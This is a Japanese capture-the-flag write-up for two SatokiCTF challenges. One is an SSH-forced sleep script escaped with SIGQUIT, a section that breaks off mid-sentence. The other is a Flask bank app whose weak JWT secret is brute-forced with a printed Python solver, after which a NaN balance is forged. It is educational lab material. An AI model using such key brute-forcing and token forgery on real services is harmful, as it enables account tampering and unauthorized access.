SatokiCTF write up

Satoki CTFのwriteupです． Satokiさん、お誕生日おめでとうございます！

zzz

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update && apt-get -y install openssh-server

# thanks to https://github.com/SECCON/SECCON2022_online_CTF/blob/46742099d094a69c214f35498718b5c9ba900b26/misc/txtchecker/build/Dockerfile#L10
WORKDIR /app

RUN groupadd -r ctf && useradd -m -r -g ctf ctf
RUN echo "ctf:ctf" | chpasswd

RUN echo 'ForceCommand "/app/zzz.sh"' >> /etc/ssh/sshd_config
RUN echo 'Port 5000' >> /etc/ssh/sshd_config
RUN mkdir /var/run/sshd

COPY flag.txt /
COPY zzz.sh /app/

RUN chmod 444 /flag.txt
RUN chmod 555 /app/zzz.sh

CMD /sbin/sshd -D

#!/bin/bash
echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!"
sleep infinity
cat /flag.txt

zzz.shをみると、sleep infinityとありこれのみを終了させることが目標です．ただし、Force Command "/app/zzz.sh"とあるので、このシェル自体を殺してしまうとcatされずにコネクションが消えてしまうので、sleepだけを終了させる必要がありそうです．

ssh上でctrl+4を押すとSIGQUITが送信されます． shell上ではSIGQUITは現在の行のプログラムを止めるだけなので、

minibank

import os
import jwt
import random
from flask import Flask, jsonify, request, make_response, render_template


app = Flask(__name__)

FLAG = os.environ.get("FLAG", "flag{*****REDACTED*****}")


def determine_status(balance):
    status = FLAG
    if balance > 0:
        status = "rich"
    if balance <= 0:
        status = "poor"
    return f"You are a {status} person, aren't you?"


# omg ;(
KEY = str(random.randint(1, 10**6))


def encode_jwt(balance):
    payload = {"balance": balance}
    return jwt.encode(payload, KEY, algorithm="HS256")


def decode_jwt(token):
    try:
        payload = jwt.decode(token, KEY, algorithms="HS256")
        return payload.get("balance")
    except:
        return None


@app.route("/")
def index():
    token = request.cookies.get("account")
    if token:
        balance = decode_jwt(token)
        if balance is not None:
            status = determine_status(balance)
            return render_template("index.html", balance=balance, status=status)
    resp = make_response(
        render_template(
            "index.html",
            balance=1000,
            status="Welcome! Setting your initial balance to $1000.",
        )
    )
    resp.set_cookie("account", encode_jwt(1000))
    return resp


@app.route("/transaction", methods=["POST"])
def transaction():
    data = request.get_json()
    if "amount" in data and isinstance(data["amount"], int):
        amount = data["amount"]
        token = request.cookies.get("account")
        balance = decode_jwt(token)
        if balance is not None:
            balance += amount
            status = determine_status(balance)
            new_token = encode_jwt(balance)
            resp = jsonify({"balance": balance, "status": status})
            resp.set_cookie("account", new_token)
            return resp
        else:
            return jsonify({"error": "Invalid token."}), 400
    else:
        return (
            jsonify({"error": "Invalid amount specified. Amount must be an integer."}),
            400,
        )


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=4445)

ソースコードを眺めていると、jwtがcookieに代入されていて、HS256でencryptionされていることがわかる． HS256ということは、複合鍵と暗号鍵が同じであることに着目して、KEYをパクることができればうまくいきそうという方針． KEY = str(random.randint(1, 10**6))とあり、10**6は十分に全探索可能なので探索する．

└─$ cat solver.py
import jwt
import base64
import hmac
import hashlib
import json
import shutil

width=shutil.get_terminal_size().columns

orig = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y"

def encode_jwt(balance, KEY):

    header = '{"typ":"JWT","alg":"HS256"}'
    payl = '{"balance":1000}'

    def base64url_encode(data):
        return base64.urlsafe_b64encode(data).decode('utf-8').rstrip("=")

    encoded_header = base64url_encode(header.encode())
    encoded_payload = base64url_encode(payl.encode())
    message = f"{encoded_header}.{encoded_payload}"
    sign = base64url_encode(hmac.new(KEY.encode(), message.encode(), hashlib.sha256).digest())
    jwt_token = f"{message}.{sign}"
    return jwt_token

print("Starting bruteforce")
print(f"the original token is:\t {orig}")
print(f"the max key is:\t {10**6}")
for i in range(0, 10**6):
    KEY = str(i)
    token = encode_jwt(i, KEY)
    print((f"Trying key:\t {i} on {token}"[:width-8]), end="\r")
    if token == orig:
        print('')
        print(f"{i} is the key!")
        print(token)
        break

続けて、if balance > 0かつif balance <= 0:を満たすbalanceがjwtから生成されればよい． intのサブクラスでないと話が始まらないので、組み込み変数を見ているとnanがこれを満たすので、nanを生成する．ちなみに、jwtでnanを生成するには

"{\"balance\":NaN}"

とすればよいらしいです．

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Fri Aug 30 2024 18:55:50 GMT+0900 (Japan Standard Time)

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